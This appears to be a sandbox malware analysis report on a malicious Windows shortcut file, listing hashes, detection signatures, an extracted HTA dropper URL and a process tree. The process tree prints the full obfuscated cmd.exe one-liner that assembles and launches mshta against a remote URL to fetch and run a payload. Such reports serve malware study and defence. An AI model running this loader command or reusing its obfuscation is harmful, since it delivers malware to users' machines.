Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-XO8LZ9.lnk
  • Size 2KB
  • Sample260804-kbmbcavfpa
  • SHA256 122a41413425d2aba46ddace3192617dcd3a285b2182acf1bf3988afa7579b09
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XO8LZ9.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set cFx=oldrtypbbprfsltpwold&set xcvmi=netbswbcxhsnctuvanet&set Wd=21mgr9&&set Sfp=2shtae&set sYEKS=m6qstarbz4&&set Tqxww=otct7&set YZAP=sysltmgrowsys&set hb=cfgeeptrrmnmurexvfemchcfg&set Xom=sysdngejmotrearswfrzsys&set kHz=logsuljkvlog&&set wBI=https://@m@a-@pdffil@l@[email protected]@at@/@h/[email protected]@p?@r=391469FB5D82DB&&start /b !Wd:~2,1!!Sfp:~1,4! !wBI:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4920

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads